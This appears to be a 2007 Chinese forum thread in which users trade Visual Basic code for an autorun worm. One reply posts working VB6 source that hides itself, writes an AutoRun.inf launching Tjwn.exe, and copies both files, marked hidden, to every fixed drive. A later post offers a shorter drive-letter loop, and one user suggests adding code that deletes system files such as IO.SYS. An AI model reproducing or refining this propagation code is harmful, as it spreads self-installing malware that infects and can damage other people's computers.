真的是用VB 写的么？   不是吧，没有什么明显的特征呀   ，其实AUTO只要在DOS环境查杀就可以了不是很难杀。（个人认为）

研究一下，有同学中过！！！！！！！！！！！

用VB编写的  
DIM 定义变量

支持一下。看的我是晕忽忽的`~~

如果你用GetDriveType函数来列举所有磁盘，我想信代码会简单很多

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Sub main()
Dim MyDrive As String
App.TaskVisible = False
On Error Resume Next
Open App.Path & "\AutoRun.inf" For Output As #1
Print #1, "[AuToRuN]"
Print #1, "OPEN=Tjwn.exe"
Print #1, "shell\open=打开(&O)"
Print #1, "shelL\open\ComMand=Tjwn.exe"
Close #1 For i = 0 To 25
MyDrive = Chr(i + 67) & ":\"
If GetDriveType(MyDrive) = 3 Then
FileCopy "Tjwn.exe", MyDrive & "Tjwn.exe"
FileCopy "AutoRun.inf", MyDrive & "AutoRun.inf"
SetAttr MyDrive & "\Tjwn.exe", vbHidden
SetAttr MyDrive & "\AutoRun.inf", vbHidden
End If
Next i
End Sub
你看我这个怎么样,简单吧!

你的病毒完蛋了，我写了一个专杀你这个病毒的工具，哈哈

你根本就什么破坏工作都没做嘛，你应该用KILL语句删除点IO。SYS什么的

顶你。。。楼主的代码太繁琐，可以学习一下17楼的，用循环。
可是大家都没写病毒体啊，，，这是病毒吗？？

dim a$
a=App.Path & "\AUToRUN.Inf"
for i = 60 to 95
filecopy a,chr(i) & ":\AUToRUN.Inf"
next i
只要有盘符的地方都有！！
你那样做，很累的，直接用FOR循环偏离下磁盘就行了！

[ 本帖最后由 377826 于 2007-12-27 09:51 编辑 ]